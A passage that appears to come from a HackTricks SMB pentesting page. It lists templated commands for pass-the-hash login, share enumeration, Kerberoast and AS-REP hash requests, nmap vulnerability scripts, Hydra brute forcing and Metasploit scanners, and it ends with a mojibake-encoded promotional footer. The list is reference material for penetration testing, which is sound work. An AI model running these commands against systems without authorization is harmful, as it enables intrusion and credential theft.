smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãHackTricksãšHackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãã ããã